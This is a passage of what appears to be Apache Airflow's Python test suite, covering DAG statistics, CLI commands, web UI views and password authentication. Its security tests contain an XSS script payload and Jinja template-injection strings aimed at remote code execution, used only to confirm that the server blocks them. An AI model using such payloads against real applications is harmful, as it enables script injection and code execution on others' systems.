self.assertEqual(self.dag_bash.dag_id, qry[0].dag_id)
for stats in qry:
if stats.state == State.RUNNING:
self.assertEqual(stats.count, 1)
else:
self.assertEqual(stats.count, 0)
self.assertFalse(stats.dirty)
run2 = self.dag_bash.create_dagrun(
run_id="run2",
execution_date=DEFAULT_DATE+timedelta(days=1),
state=State.RUNNING)
models.DagStat.update([self.dag_bash.dag_id], session=session)
qry = session.query(models.DagStat).all()
self.assertEqual(3, len(qry))
self.assertEqual(self.dag_bash.dag_id, qry[0].dag_id)
for stats in qry:
if stats.state == State.RUNNING:
self.assertEqual(stats.count, 2)
else:
self.assertEqual(stats.count, 0)
self.assertFalse(stats.dirty)
session.query(models.DagRun).first().state = State.SUCCESS
session.commit()
models.DagStat.update([self.dag_bash.dag_id], session=session)
qry = session.query(models.DagStat).filter(models.DagStat.state == State.SUCCESS).all()
self.assertEqual(1, len(qry))
self.assertEqual(self.dag_bash.dag_id, qry[0].dag_id)
self.assertEqual(State.SUCCESS, qry[0].state)
self.assertEqual(1, qry[0].count)
self.assertFalse(qry[0].dirty)
qry = session.query(models.DagStat).filter(models.DagStat.state == State.RUNNING).all()
self.assertEqual(1, len(qry))
self.assertEqual(self.dag_bash.dag_id, qry[0].dag_id)
self.assertEqual(State.RUNNING, qry[0].state)
self.assertEqual(1, qry[0].count)
self.assertFalse(qry[0].dirty)
session.query(models.DagRun).delete()
session.query(models.DagStat).delete()
session.commit()
session.close()
def test_run_command(self):
if six.PY3:
write = r'sys.stdout.buffer.write("\u1000foo".encode("utf8"))'
else:
write = r'sys.stdout.write(u"\u1000foo".encode("utf8"))'
cmd = 'import sys; {0}; sys.stdout.flush()'.format(write)
self.assertEqual(run_command("python -c '{0}'".format(cmd)),
u'\u1000foo' if six.PY3 else 'foo')
self.assertEqual(run_command('echo "foo bar"'), u'foo bar\n')
self.assertRaises(AirflowConfigException, run_command, 'bash -c "exit 1"')
class CliTests(unittest.TestCase):
@classmethod
def setUpClass(cls):
super(CliTests, cls).setUpClass()
cls._cleanup()
def setUp(self):
super(CliTests, self).setUp()
configuration.load_test_config()
app = application.create_app()
app.config['TESTING'] = True
self.parser = cli.CLIFactory.get_parser()
self.dagbag = models.DagBag(dag_folder=DEV_NULL, include_examples=True)
self.session = Session()
def tearDown(self):
self._cleanup(session=self.session)
super(CliTests, self).tearDown()
@staticmethod
def _cleanup(session=None):
if session is None:
session = Session()
session.query(models.Pool).delete()
session.query(models.Variable).delete()
session.commit()
session.close()
def test_cli_list_dags(self):
args = self.parser.parse_args(['list_dags', '--report'])
cli.list_dags(args)
def test_cli_list_tasks(self):
for dag_id in self.dagbag.dags.keys():
args = self.parser.parse_args(['list_tasks', dag_id])
cli.list_tasks(args)
args = self.parser.parse_args([
'list_tasks', 'example_bash_operator', '--tree'])
cli.list_tasks(args)
@mock.patch("airflow.bin.cli.db_utils.initdb")
def test_cli_initdb(self, initdb_mock):
cli.initdb(self.parser.parse_args(['initdb']))
initdb_mock.assert_called_once_with()
@mock.patch("airflow.bin.cli.db_utils.resetdb")
def test_cli_resetdb(self, resetdb_mock):
cli.resetdb(self.parser.parse_args(['resetdb', '--yes']))
resetdb_mock.assert_called_once_with()
def test_cli_connections_list(self):
with mock.patch('sys.stdout',
new_callable=six.StringIO) as mock_stdout:
cli.connections(self.parser.parse_args(['connections', '--list']))
stdout = mock_stdout.getvalue()
conns = [[x.strip("'") for x in re.findall("'\w+'", line)[:2]]
for ii, line in enumerate(stdout.split('\n'))
if ii % 2 == 1]
conns = [conn for conn in conns if len(conn) > 0]
# Assert that some of the connections are present in the output as
# expected:
self.assertIn(['aws_default', 'aws'], conns)
self.assertIn(['beeline_default', 'beeline'], conns)
self.assertIn(['bigquery_default', 'bigquery'], conns)
self.assertIn(['emr_default', 'emr'], conns)
self.assertIn(['mssql_default', 'mssql'], conns)
self.assertIn(['mysql_default', 'mysql'], conns)
self.assertIn(['postgres_default', 'postgres'], conns)
self.assertIn(['wasb_default', 'wasb'], conns)
# Attempt to list connections with invalid cli args
with mock.patch('sys.stdout',
new_callable=six.StringIO) as mock_stdout:
cli.connections(self.parser.parse_args(
['connections', '--list', '--conn_id=fake', '--conn_uri=fake-uri',
'--conn_type=fake-type', '--conn_host=fake_host',
'--conn_login=fake_login', '--conn_password=fake_password',
'--conn_schema=fake_schema', '--conn_port=fake_port', '--conn_extra=fake_extra']))
stdout = mock_stdout.getvalue()
# Check list attempt stdout
lines = [l for l in stdout.split('\n') if len(l) > 0]
self.assertListEqual(lines, [
("\tThe following args are not compatible with the " +
"--list flag: ['conn_id', 'conn_uri', 'conn_extra', 'conn_type', 'conn_host', 'conn_login', 'conn_password', 'conn_schema', 'conn_port']"),
])
def test_cli_connections_add_delete(self):
# Add connections:
uri = 'postgresql://airflow:airflow@host:5432/airflow'
with mock.patch('sys.stdout',
new_callable=six.StringIO) as mock_stdout:
cli.connections(self.parser.parse_args(
['connections', '--add', '--conn_id=new1',
'--conn_uri=%s' % uri]))
cli.connections(self.parser.parse_args(
['connections', '-a', '--conn_id=new2',
'--conn_uri=%s' % uri]))
cli.connections(self.parser.parse_args(
['connections', '--add', '--conn_id=new3',
'--conn_uri=%s' % uri, '--conn_extra', "{'extra': 'yes'}"]))
cli.connections(self.parser.parse_args(
['connections', '-a', '--conn_id=new4',
'--conn_uri=%s' % uri, '--conn_extra', "{'extra': 'yes'}"]))
cli.connections(self.parser.parse_args(
['connections', '--add', '--conn_id=new5',
'--conn_type=hive_metastore', '--conn_login=airflow',
'--conn_password=airflow', '--conn_host=host',
'--conn_port=9083', '--conn_schema=airflow']))
cli.connections(self.parser.parse_args(
['connections', '-a', '--conn_id=new6',
'--conn_uri', "", '--conn_type=google_cloud_platform', '--conn_extra', "{'extra': 'yes'}"]))
stdout = mock_stdout.getvalue()
# Check addition stdout
lines = [l for l in stdout.split('\n') if len(l) > 0]
self.assertListEqual(lines, [
("\tSuccessfully added `conn_id`=new1 : " +
"postgresql://airflow:airflow@host:5432/airflow"),
("\tSuccessfully added `conn_id`=new2 : " +
"postgresql://airflow:airflow@host:5432/airflow"),
("\tSuccessfully added `conn_id`=new3 : " +
"postgresql://airflow:airflow@host:5432/airflow"),
("\tSuccessfully added `conn_id`=new4 : " +
"postgresql://airflow:airflow@host:5432/airflow"),
("\tSuccessfully added `conn_id`=new5 : " +
"hive_metastore://airflow:airflow@host:9083/airflow"),
("\tSuccessfully added `conn_id`=new6 : " +
"google_cloud_platform://:@:")
])
# Attempt to add duplicate
with mock.patch('sys.stdout',
new_callable=six.StringIO) as mock_stdout:
cli.connections(self.parser.parse_args(
['connections', '--add', '--conn_id=new1',
'--conn_uri=%s' % uri]))
stdout = mock_stdout.getvalue()
# Check stdout for addition attempt
lines = [l for l in stdout.split('\n') if len(l) > 0]
self.assertListEqual(lines, [
"\tA connection with `conn_id`=new1 already exists",
])
# Attempt to add without providing conn_id
with mock.patch('sys.stdout',
new_callable=six.StringIO) as mock_stdout:
cli.connections(self.parser.parse_args(
['connections', '--add', '--conn_uri=%s' % uri]))
stdout = mock_stdout.getvalue()
# Check stdout for addition attempt
lines = [l for l in stdout.split('\n') if len(l) > 0]
self.assertListEqual(lines, [
("\tThe following args are required to add a connection:" +
" ['conn_id']"),
])
# Attempt to add without providing conn_uri
with mock.patch('sys.stdout',
new_callable=six.StringIO) as mock_stdout:
cli.connections(self.parser.parse_args(
['connections', '--add', '--conn_id=new']))
stdout = mock_stdout.getvalue()
# Check stdout for addition attempt
lines = [l for l in stdout.split('\n') if len(l) > 0]
self.assertListEqual(lines, [
("\tThe following args are required to add a connection:" +
" ['conn_uri or conn_type']"),
])
# Prepare to add connections
session = settings.Session()
extra = {'new1': None,
'new2': None,
'new3': "{'extra': 'yes'}",
'new4': "{'extra': 'yes'}"}
# Add connections
for index in range(1, 6):
conn_id = 'new%s' % index
result = (session
.query(models.Connection)
.filter(models.Connection.conn_id == conn_id)
.first())
result = (result.conn_id, result.conn_type, result.host,
result.port, result.get_extra())
if conn_id in ['new1', 'new2', 'new3', 'new4']:
self.assertEqual(result, (conn_id, 'postgres', 'host', 5432,
extra[conn_id]))
elif conn_id == 'new5':
self.assertEqual(result, (conn_id, 'hive_metastore', 'host',
9083, None))
elif conn_id == 'new6':
self.assertEqual(result, (conn_id, 'google_cloud_platform',
None, None, "{'extra': 'yes'}"))
# Delete connections
with mock.patch('sys.stdout',
new_callable=six.StringIO) as mock_stdout:
cli.connections(self.parser.parse_args(
['connections', '--delete', '--conn_id=new1']))
cli.connections(self.parser.parse_args(
['connections', '--delete', '--conn_id=new2']))
cli.connections(self.parser.parse_args(
['connections', '--delete', '--conn_id=new3']))
cli.connections(self.parser.parse_args(
['connections', '--delete', '--conn_id=new4']))
cli.connections(self.parser.parse_args(
['connections', '--delete', '--conn_id=new5']))
cli.connections(self.parser.parse_args(
['connections', '--delete', '--conn_id=new6']))
stdout = mock_stdout.getvalue()
# Check deletion stdout
lines = [l for l in stdout.split('\n') if len(l) > 0]
self.assertListEqual(lines, [
"\tSuccessfully deleted `conn_id`=new1",
"\tSuccessfully deleted `conn_id`=new2",
"\tSuccessfully deleted `conn_id`=new3",
"\tSuccessfully deleted `conn_id`=new4",
"\tSuccessfully deleted `conn_id`=new5",
"\tSuccessfully deleted `conn_id`=new6"
])
# Check deletions
for index in range(1, 7):
conn_id = 'new%s' % index
result = (session
.query(models.Connection)
.filter(models.Connection.conn_id == conn_id)
.first())
self.assertTrue(result is None)
# Attempt to delete a non-existing connnection
with mock.patch('sys.stdout',
new_callable=six.StringIO) as mock_stdout:
cli.connections(self.parser.parse_args(
['connections', '--delete', '--conn_id=fake']))
stdout = mock_stdout.getvalue()
# Check deletion attempt stdout
lines = [l for l in stdout.split('\n') if len(l) > 0]
self.assertListEqual(lines, [
"\tDid not find a connection with `conn_id`=fake",
])
# Attempt to delete with invalid cli args
with mock.patch('sys.stdout',
new_callable=six.StringIO) as mock_stdout:
cli.connections(self.parser.parse_args(
['connections', '--delete', '--conn_id=fake',
'--conn_uri=%s' % uri, '--conn_type=fake-type']))
stdout = mock_stdout.getvalue()
# Check deletion attempt stdout
lines = [l for l in stdout.split('\n') if len(l) > 0]
self.assertListEqual(lines, [
("\tThe following args are not compatible with the " +
"--delete flag: ['conn_uri', 'conn_type']"),
])
session.close()
def test_cli_test(self):
cli.test(self.parser.parse_args([
'test', 'example_bash_operator', 'runme_0',
DEFAULT_DATE.isoformat()]))
cli.test(self.parser.parse_args([
'test', 'example_bash_operator', 'runme_0', '--dry_run',
DEFAULT_DATE.isoformat()]))
def test_cli_test_with_params(self):
cli.test(self.parser.parse_args([
'test', 'example_passing_params_via_test_command', 'run_this',
'-tp', '{"foo":"bar"}', DEFAULT_DATE.isoformat()]))
cli.test(self.parser.parse_args([
'test', 'example_passing_params_via_test_command', 'also_run_this',
'-tp', '{"foo":"bar"}', DEFAULT_DATE.isoformat()]))
def test_cli_run(self):
cli.run(self.parser.parse_args([
'run', 'example_bash_operator', 'runme_0', '-l',
DEFAULT_DATE.isoformat()]))
def test_task_state(self):
cli.task_state(self.parser.parse_args([
'task_state', 'example_bash_operator', 'runme_0',
DEFAULT_DATE.isoformat()]))
def test_dag_state(self):
self.assertEqual(None, cli.dag_state(self.parser.parse_args([
'dag_state', 'example_bash_operator', DEFAULT_DATE.isoformat()])))
def test_pause(self):
args = self.parser.parse_args([
'pause', 'example_bash_operator'])
cli.pause(args)
self.assertIn(self.dagbag.dags['example_bash_operator'].is_paused, [True, 1])
args = self.parser.parse_args([
'unpause', 'example_bash_operator'])
cli.unpause(args)
self.assertIn(self.dagbag.dags['example_bash_operator'].is_paused, [False, 0])
def test_subdag_clear(self):
args = self.parser.parse_args([
'clear', 'example_subdag_operator', '--no_confirm'])
cli.clear(args)
args = self.parser.parse_args([
'clear', 'example_subdag_operator', '--no_confirm', '--exclude_subdags'])
cli.clear(args)
def test_get_dags(self):
dags = cli.get_dags(self.parser.parse_args(['clear', 'example_subdag_operator', '-c']))
self.assertEqual(len(dags), 1)
dags = cli.get_dags(self.parser.parse_args(['clear', 'subdag', '-dx', '-c']))
self.assertGreater(len(dags), 1)
with self.assertRaises(AirflowException):
cli.get_dags(self.parser.parse_args(['clear', 'foobar', '-dx', '-c']))
def test_backfill(self):
cli.backfill(self.parser.parse_args([
'backfill', 'example_bash_operator',
'-s', DEFAULT_DATE.isoformat()]))
cli.backfill(self.parser.parse_args([
'backfill', 'example_bash_operator', '-t', 'runme_0', '--dry_run',
'-s', DEFAULT_DATE.isoformat()]))
cli.backfill(self.parser.parse_args([
'backfill', 'example_bash_operator', '--dry_run',
'-s', DEFAULT_DATE.isoformat()]))
cli.backfill(self.parser.parse_args([
'backfill', 'example_bash_operator', '-l',
'-s', DEFAULT_DATE.isoformat()]))
def test_process_subdir_path_with_placeholder(self):
self.assertEqual(os.path.join(settings.DAGS_FOLDER, 'abc'), cli.process_subdir('DAGS_FOLDER/abc'))
def test_trigger_dag(self):
cli.trigger_dag(self.parser.parse_args([
'trigger_dag', 'example_bash_operator',
'-c', '{"foo": "bar"}']))
self.assertRaises(
ValueError,
cli.trigger_dag,
self.parser.parse_args([
'trigger_dag', 'example_bash_operator',
'--run_id', 'trigger_dag_xxx',
'-c', 'NOT JSON'])
)
def test_pool_create(self):
cli.pool(self.parser.parse_args(['pool', '-s', 'foo', '1', 'test']))
self.assertEqual(self.session.query(models.Pool).count(), 1)
def test_pool_get(self):
cli.pool(self.parser.parse_args(['pool', '-s', 'foo', '1', 'test']))
try:
cli.pool(self.parser.parse_args(['pool', '-g', 'foo']))
except Exception as e:
self.fail("The 'pool -g foo' command raised unexpectedly: %s" % e)
def test_pool_delete(self):
cli.pool(self.parser.parse_args(['pool', '-s', 'foo', '1', 'test']))
cli.pool(self.parser.parse_args(['pool', '-x', 'foo']))
self.assertEqual(self.session.query(models.Pool).count(), 0)
def test_pool_no_args(self):
try:
cli.pool(self.parser.parse_args(['pool']))
except Exception as e:
self.fail("The 'pool' command raised unexpectedly: %s" % e)
def test_variables(self):
# Checks if all subcommands are properly received
cli.variables(self.parser.parse_args([
'variables', '-s', 'foo', '{"foo":"bar"}']))
cli.variables(self.parser.parse_args([
'variables', '-g', 'foo']))
cli.variables(self.parser.parse_args([
'variables', '-g', 'baz', '-d', 'bar']))
cli.variables(self.parser.parse_args([
'variables']))
cli.variables(self.parser.parse_args([
'variables', '-x', 'bar']))
cli.variables(self.parser.parse_args([
'variables', '-i', DEV_NULL]))
cli.variables(self.parser.parse_args([
'variables', '-e', DEV_NULL]))
cli.variables(self.parser.parse_args([
'variables', '-s', 'bar', 'original']))
# First export
cli.variables(self.parser.parse_args([
'variables', '-e', 'variables1.json']))
first_exp = open('variables1.json', 'r')
cli.variables(self.parser.parse_args([
'variables', '-s', 'bar', 'updated']))
cli.variables(self.parser.parse_args([
'variables', '-s', 'foo', '{"foo":"oops"}']))
cli.variables(self.parser.parse_args([
'variables', '-x', 'foo']))
# First import
cli.variables(self.parser.parse_args([
'variables', '-i', 'variables1.json']))
self.assertEqual('original', models.Variable.get('bar'))
self.assertEqual('{"foo": "bar"}', models.Variable.get('foo'))
# Second export
cli.variables(self.parser.parse_args([
'variables', '-e', 'variables2.json']))
second_exp = open('variables2.json', 'r')
self.assertEqual(first_exp.read(), second_exp.read())
second_exp.close()
first_exp.close()
# Second import
cli.variables(self.parser.parse_args([
'variables', '-i', 'variables2.json']))
self.assertEqual('original', models.Variable.get('bar'))
self.assertEqual('{"foo": "bar"}', models.Variable.get('foo'))
os.remove('variables1.json')
os.remove('variables2.json')
def _wait_pidfile(self, pidfile):
while True:
try:
with open(pidfile) as f:
return int(f.read())
except:
sleep(1)
def test_cli_webserver_foreground(self):
import subprocess
# Confirm that webserver hasn't been launched.
# pgrep returns exit status 1 if no process matched.
self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "airflow"]).wait())
self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "gunicorn"]).wait())
# Run webserver in foreground and terminate it.
p = subprocess.Popen(["airflow", "webserver"])
p.terminate()
p.wait()
# Assert that no process remains.
self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "airflow"]).wait())
self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "gunicorn"]).wait())
@unittest.skipIf("TRAVIS" in os.environ and bool(os.environ["TRAVIS"]),
"Skipping test due to lack of required file permission")
def test_cli_webserver_foreground_with_pid(self):
import subprocess
# Run webserver in foreground with --pid option
pidfile = tempfile.mkstemp()[1]
p = subprocess.Popen(["airflow", "webserver", "--pid", pidfile])
# Check the file specified by --pid option exists
self._wait_pidfile(pidfile)
# Terminate webserver
p.terminate()
p.wait()
@unittest.skipIf("TRAVIS" in os.environ and bool(os.environ["TRAVIS"]),
"Skipping test due to lack of required file permission")
def test_cli_webserver_background(self):
import subprocess
import psutil
# Confirm that webserver hasn't been launched.
self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "airflow"]).wait())
self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "gunicorn"]).wait())
# Run webserver in background.
subprocess.Popen(["airflow", "webserver", "-D"])
pidfile = cli.setup_locations("webserver")[0]
self._wait_pidfile(pidfile)
# Assert that gunicorn and its monitor are launched.
self.assertEqual(0, subprocess.Popen(["pgrep", "-c", "airflow"]).wait())
self.assertEqual(0, subprocess.Popen(["pgrep", "-c", "gunicorn"]).wait())
# Terminate monitor process.
pidfile = cli.setup_locations("webserver-monitor")[0]
pid = self._wait_pidfile(pidfile)
p = psutil.Process(pid)
p.terminate()
p.wait()
# Assert that no process remains.
self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "airflow"]).wait())
self.assertEqual(1, subprocess.Popen(["pgrep", "-c", "gunicorn"]).wait())
class SecurityTests(unittest.TestCase):
def setUp(self):
configuration.load_test_config()
configuration.conf.set("webserver", "authenticate", "False")
configuration.conf.set("webserver", "expose_config", "True")
app = application.create_app()
app.config['TESTING'] = True
self.app = app.test_client()
self.dagbag = models.DagBag(
dag_folder=DEV_NULL, include_examples=True)
self.dag_bash = self.dagbag.dags['example_bash_operator']
self.runme_0 = self.dag_bash.get_task('runme_0')
def get_csrf(self, response):
tree = html.fromstring(response.data)
form = tree.find('.//form')
return form.find('.//input[@name="_csrf_token"]').value
def test_csrf_rejection(self):
endpoints = ([
"/admin/queryview/",
"/admin/airflow/paused?dag_id=example_python_operator&is_paused=false",
])
for endpoint in endpoints:
response = self.app.post(endpoint)
self.assertIn('CSRF token is missing', response.data.decode('utf-8'))
def test_csrf_acceptance(self):
response = self.app.get("/admin/queryview/")
csrf = self.get_csrf(response)
response = self.app.post("/admin/queryview/", data=dict(csrf_token=csrf))
self.assertEqual(200, response.status_code)
def test_xss(self):
try:
self.app.get("/admin/airflow/tree?dag_id=<script>alert(123456)</script>")
except:
# exception is expected here since dag doesnt exist
pass
response = self.app.get("/admin/log", follow_redirects=True)
self.assertIn(bleach.clean("<script>alert(123456)</script>"), response.data.decode('UTF-8'))
def test_chart_data_template(self):
"""Protect chart_data from being able to do RCE."""
session = settings.Session()
Chart = models.Chart
chart1 = Chart(
label='insecure_chart',
conn_id='airflow_db',
chart_type='bar',
sql="SELECT {{ ''.__class__.__mro__[1].__subclasses__() }}"
)
chart2 = Chart(
label="{{ ''.__class__.__mro__[1].__subclasses__() }}",
conn_id='airflow_db',
chart_type='bar',
sql="SELECT 1"
)
chart3 = Chart(
label="{{ subprocess.check_output('ls') }}",
conn_id='airflow_db',
chart_type='bar',
sql="SELECT 1"
)
session.add(chart1)
session.add(chart2)
session.add(chart3)
session.commit()
chart1_id = session.query(Chart).filter(Chart.label=='insecure_chart').first().id
with self.assertRaises(SecurityError):
response = self.app.get("/admin/airflow/chart_data?chart_id={}".format(chart1_id))
chart2_id = session.query(Chart).filter(Chart.label=="{{ ''.__class__.__mro__[1].__subclasses__() }}").first().id
with self.assertRaises(SecurityError):
response = self.app.get("/admin/airflow/chart_data?chart_id={}".format(chart2_id))
chart3_id = session.query(Chart).filter(Chart.label=="{{ subprocess.check_output('ls') }}").first().id
with self.assertRaises(UndefinedError):
response = self.app.get("/admin/airflow/chart_data?chart_id={}".format(chart3_id))
def tearDown(self):
configuration.conf.set("webserver", "expose_config", "False")
self.dag_bash.clear(start_date=DEFAULT_DATE, end_date=datetime.utcnow())
class WebUiTests(unittest.TestCase):
def setUp(self):
configuration.load_test_config()
configuration.conf.set("webserver", "authenticate", "False")
configuration.conf.set("webserver", "expose_config", "True")
app = application.create_app()
app.config['TESTING'] = True
app.config['WTF_CSRF_METHODS'] = []
self.app = app.test_client()
self.dagbag = models.DagBag(include_examples=True)
self.dag_bash = self.dagbag.dags['example_bash_operator']
self.dag_bash2 = self.dagbag.dags['test_example_bash_operator']
self.sub_dag = self.dagbag.dags['example_subdag_operator']
self.runme_0 = self.dag_bash.get_task('runme_0')
self.example_xcom = self.dagbag.dags['example_xcom']
self.dagrun_bash2 = self.dag_bash2.create_dagrun(
run_id="test_{}".format(models.DagRun.id_for_date(datetime.utcnow())),
execution_date=DEFAULT_DATE,
start_date=datetime.utcnow(),
state=State.RUNNING
)
self.sub_dag.create_dagrun(
run_id="test_{}".format(models.DagRun.id_for_date(datetime.utcnow())),
execution_date=DEFAULT_DATE,
start_date=datetime.utcnow(),
state=State.RUNNING
)
self.example_xcom.create_dagrun(
run_id="test_{}".format(models.DagRun.id_for_date(datetime.utcnow())),
execution_date=DEFAULT_DATE,
start_date=datetime.utcnow(),
state=State.RUNNING
)
def test_index(self):
response = self.app.get('/', follow_redirects=True)
resp_html = response.data.decode('utf-8')
self.assertIn("DAGs", resp_html)
self.assertIn("example_bash_operator", resp_html)
# The HTML should contain data for the last-run. A link to the specific run, and the text of
# the date.
url = "/admin/airflow/graph?" + urlencode({
"dag_id": self.dag_bash2.dag_id,
"execution_date": self.dagrun_bash2.execution_date,
}).replace("&", "&")
self.assertIn(url, resp_html)
self.assertIn(self.dagrun_bash2.execution_date.strftime("%Y-%m-%d %H:%M"), resp_html)
def test_query(self):
response = self.app.get('/admin/queryview/')
self.assertIn("Ad Hoc Query", response.data.decode('utf-8'))
response = self.app.post(
"/admin/queryview/", data=dict(
conn_id="airflow_db",
sql="SELECT+COUNT%281%29+as+TEST+FROM+task_instance"))
self.assertIn("TEST", response.data.decode('utf-8'))
def test_health(self):
response = self.app.get('/health')
self.assertIn('The server is healthy!', response.data.decode('utf-8'))
def test_noaccess(self):
response = self.app.get('/admin/airflow/noaccess')
self.assertIn("You don't seem to have access.", response.data.decode('utf-8'))
def test_pickle_info(self):
response = self.app.get('/admin/airflow/pickle_info')
self.assertIn('{', response.data.decode('utf-8'))
def test_dag_views(self):
response = self.app.get(
'/admin/airflow/graph?dag_id=example_bash_operator')
self.assertIn("runme_0", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/tree?num_runs=5&dag_id=example_bash_operator')
self.assertIn("runme_0", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/duration?days=30&dag_id=example_bash_operator')
self.assertIn("example_bash_operator", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/tries?days=30&dag_id=example_bash_operator')
self.assertIn("example_bash_operator", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/landing_times?'
'days=30&dag_id=test_example_bash_operator')
self.assertIn("test_example_bash_operator", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/landing_times?'
'days=30&dag_id=example_xcom')
self.assertIn("example_xcom", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/gantt?dag_id=example_bash_operator')
self.assertIn("example_bash_operator", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/code?dag_id=example_bash_operator')
self.assertIn("example_bash_operator", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/blocked')
response = self.app.get(
'/admin/configurationview/')
self.assertIn("Airflow Configuration", response.data.decode('utf-8'))
self.assertIn("Running Configuration", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/rendered?'
'task_id=runme_1&dag_id=example_bash_operator&'
'execution_date={}'.format(DEFAULT_DATE_ISO))
self.assertIn("example_bash_operator", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/log?task_id=run_this_last&'
'dag_id=example_bash_operator&execution_date={}'
''.format(DEFAULT_DATE_ISO))
self.assertIn("run_this_last", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/task?'
'task_id=runme_0&dag_id=example_bash_operator&'
'execution_date={}'.format(DEFAULT_DATE_DS))
self.assertIn("Attributes", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/dag_stats')
self.assertIn("example_bash_operator", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/task_stats')
self.assertIn("example_bash_operator", response.data.decode('utf-8'))
url = (
"/admin/airflow/success?task_id=run_this_last&"
"dag_id=test_example_bash_operator&upstream=false&downstream=false&"
"future=false&past=false&execution_date={}&"
"origin=/admin".format(DEFAULT_DATE_DS))
response = self.app.get(url)
self.assertIn("Wait a minute", response.data.decode('utf-8'))
response = self.app.get(url + "&confirmed=true")
response = self.app.get(
'/admin/airflow/clear?task_id=run_this_last&'
'dag_id=test_example_bash_operator&future=true&past=false&'
'upstream=true&downstream=false&'
'execution_date={}&'
'origin=/admin'.format(DEFAULT_DATE_DS))
self.assertIn("Wait a minute", response.data.decode('utf-8'))
url = (
"/admin/airflow/success?task_id=section-1&"
"dag_id=example_subdag_operator&upstream=true&downstream=true&"
"future=false&past=false&execution_date={}&"
"origin=/admin".format(DEFAULT_DATE_DS))
response = self.app.get(url)
self.assertIn("Wait a minute", response.data.decode('utf-8'))
self.assertIn("section-1-task-1", response.data.decode('utf-8'))
self.assertIn("section-1-task-2", response.data.decode('utf-8'))
self.assertIn("section-1-task-3", response.data.decode('utf-8'))
self.assertIn("section-1-task-4", response.data.decode('utf-8'))
self.assertIn("section-1-task-5", response.data.decode('utf-8'))
response = self.app.get(url + "&confirmed=true")
url = (
"/admin/airflow/clear?task_id=runme_1&"
"dag_id=test_example_bash_operator&future=false&past=false&"
"upstream=false&downstream=true&"
"execution_date={}&"
"origin=/admin".format(DEFAULT_DATE_DS))
response = self.app.get(url)
self.assertIn("Wait a minute", response.data.decode('utf-8'))
response = self.app.get(url + "&confirmed=true")
url = (
"/admin/airflow/run?task_id=runme_0&"
"dag_id=example_bash_operator&ignore_all_deps=false&ignore_ti_state=true&"
"ignore_task_deps=true&execution_date={}&"
"origin=/admin".format(DEFAULT_DATE_DS))
response = self.app.get(url)
response = self.app.get(
"/admin/airflow/refresh?dag_id=example_bash_operator")
response = self.app.get("/admin/airflow/refresh_all")
response = self.app.post(
"/admin/airflow/paused?"
"dag_id=example_python_operator&is_paused=false")
self.assertIn("OK", response.data.decode('utf-8'))
response = self.app.get("/admin/xcom", follow_redirects=True)
self.assertIn("Xcoms", response.data.decode('utf-8'))
def test_charts(self):
session = Session()
chart_label = "Airflow task instance by type"
chart = session.query(
models.Chart).filter(models.Chart.label == chart_label).first()
chart_id = chart.id
session.close()
response = self.app.get(
'/admin/airflow/chart'
'?chart_id={}&iteration_no=1'.format(chart_id))
self.assertIn("Airflow task instance by type", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/chart_data'
'?chart_id={}&iteration_no=1'.format(chart_id))
self.assertIn("example", response.data.decode('utf-8'))
response = self.app.get(
'/admin/airflow/dag_details?dag_id=example_branch_operator')
self.assertIn("run_this_first", response.data.decode('utf-8'))
def test_fetch_task_instance(self):
url = (
"/admin/airflow/object/task_instances?"
"dag_id=test_example_bash_operator&"
"execution_date={}".format(DEFAULT_DATE_DS))
response = self.app.get(url)
self.assertIn("run_this_last", response.data.decode('utf-8'))
def tearDown(self):
configuration.conf.set("webserver", "expose_config", "False")
self.dag_bash.clear(start_date=DEFAULT_DATE, end_date=datetime.utcnow())
session = Session()
session.query(models.DagRun).delete()
session.query(models.TaskInstance).delete()
session.commit()
session.close()
class WebPasswordAuthTest(unittest.TestCase):
def setUp(self):
configuration.conf.set("webserver", "authenticate", "True")
configuration.conf.set("webserver", "auth_backend", "airflow.contrib.auth.backends.password_auth")
app = application.create_app()
app.config['TESTING'] = True
self.app = app.test_client()
from airflow.contrib.auth.backends.password_auth import PasswordUser
session = Session()
user = models.User()
password_user = PasswordUser(user)
password_user.username = 'airflow_passwordauth'
password_user.password = 'password'
print(password_user._password)
session.add(password_user)
session.commit()
session.close()
def get_csrf(self, response):
tree = html.fromstring(response.data)
form = tree.find('.//form')
return form.find('.//input[@name="_csrf_token"]').value
def login(self, username, password):
response = self.app.get('/admin/airflow/login')
csrf_token = self.get_csrf(response)
return self.app.post('/admin/airflow/login', data=dict(
username=username,
password=password,
csrf_token=csrf_token
), follow_redirects=True)
def logout(self):
return self.app.get('/admin/airflow/logout', follow_redirects=True)
def test_login_logout_password_auth(self):
self.assertTrue(configuration.getboolean('webserver', 'authenticate'))
response = self.login('user1', 'whatever')
self.assertIn('Incorrect login details', response.data.decode('utf-8'))
response = self.login('airflow_passwordauth', 'wrongpassword')
self.assertIn('Incorrect login details', response.data.decode('utf-8'))
response = self.login('airflow_passwordauth', 'password')
self.assertIn('Data Profiling', response.data.decode('utf-8'))
response = self.logout()
self.assertIn('form-signin', response.data.decode('utf-8'))
def test_unauthorized_password_auth(self):
response = self.app.get("/admin/airflow/landing_times")
self.assertEqual(response.status_code, 302)
def tearDown(self):
configuration.load_test_config()
session = Session()
session.query(models.User).delete()
session.commit()
session.close()
configuration.conf.set("webserver", "authenticate", "False")
class WebLdapAuthTest(unittest.TestCase):
def setUp(self):
configuration.conf.set("webserver", "authenticate", "True")
configuration.conf.set("webserver", "auth_backend", "airflow.contrib.auth.backends.ldap_auth")
try:
configuration.conf.add_section("ldap")
except:
pass
